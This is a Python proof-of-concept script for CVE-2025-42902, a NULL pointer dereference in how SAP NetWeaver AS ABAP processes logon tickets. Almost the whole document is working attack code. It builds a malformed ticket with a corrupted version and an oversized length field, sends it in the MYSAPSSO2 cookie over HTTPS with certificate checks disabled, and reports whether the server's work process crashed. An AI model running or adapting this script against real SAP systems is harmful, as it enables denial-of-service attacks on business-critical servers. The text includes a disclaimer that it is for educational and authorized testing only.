CVE-2025-42902 SAP NetWeaver AS ABAP票据处理内存损坏漏洞

# CVE-2025-42902 PoC - SAP NetWeaver AS ABAP Ticket Processing NULL Dereference # This PoC demonstrates how to trigger the vulnerability by sending a malformed SAP Logon Ticket # Note: This is for educational and authorized testing purposes only import socket import ssl import struct import sys # SAP Logon Ticket / Assertion Ticket processing endpoint # The ticket is typically sent via HTTP POST to the SAP application server TARGET_HOST = "sap-target.example.com" TARGET_PORT = 443 # HTTPS port for SAP NetWeaver def craft_malformed_sap_ticket(): """ Craft a malformed SAP Logon Ticket that triggers NULL pointer dereference. The ticket structure is intentionally corrupted to cause memory issues during parsing by the SAP application server's ticket validation logic. """ # SAP Logon Ticket base structure (simplified) # A valid ticket contains: version, ticket type, user info, validity, signature # By corrupting key fields, we trigger the NULL dereference vulnerability # Build a minimal ticket header with corrupted fields ticket = b"" # Ticket version (corrupted/invalid version) ticket += struct.pack(">H", 0xFFFF) # Invalid version number # Ticket type - SAP_LOGON_TICKET or SAP_ASSERTION_TICKET ticket += struct.pack(">H", 0x0003) # Assertion ticket type # Corrupted length fields to trigger buffer overread ticket += struct.pack(">I", 0xFFFFFFFF) # Extremely large length value # Malformed payload that will cause NULL pointer dereference # when the parser tries to validate and dereference internal pointers ticket += b"\x00" * 64 # Null bytes to trigger NULL dereference # Invalid signature placeholder ticket += b"\x00" * 32 return ticket def send_malformed_ticket(host, port, ticket_data): """ Send the malformed ticket to the SAP application server via HTTPS POST. The ticket is sent in the MYSAPSSO2 cookie or as part of the authentication header. """ # Construct HTTP POST request with malformed ticket in MYSAPSSO2 cookie http_request = f"""POST /sap/bc/soap/rfc HTTP/1.1\r Host: {host}\r Content-Type: text/xml; charset=utf-8\r Cookie: MYSAPSSO2={ticket_data.hex()}\r Content-Length: 0\r Connection: close\r \r """.encode() try: # Create SSL context for HTTPS connection context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Connect to SAP application server with socket.create_connection((host, port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=host) as ssock: # Send the malicious request ssock.send(http_request) # Receive response (server may crash during processing) try: response = ssock.recv(4096) print(f"[*] Response received: {response[:100]}") print("[*] Server processed the request (may have crashed work process)") except socket.timeout: print("[*] Connection timeout - possible work process crash") except ConnectionResetError: print("[*] Connection reset - work process likely crashed") except Exception as e: print(f"[!] Error: {e}") def main(): print(f"[*] CVE-2025-42902 PoC - SAP NetWeaver AS ABAP NULL Dereference") print(f"[*] Target: {TARGET_HOST}:{TARGET_PORT}") # Craft the malformed ticket ticket = craft_malformed_sap_ticket() print(f"[*] Malformed ticket crafted ({len(ticket)} bytes)") # Send to target send_malformed_ticket(TARGET_HOST, TARGET_PORT, ticket) print("[*] Attack completed - check target for work process crash") if __name__ == "__main__": main()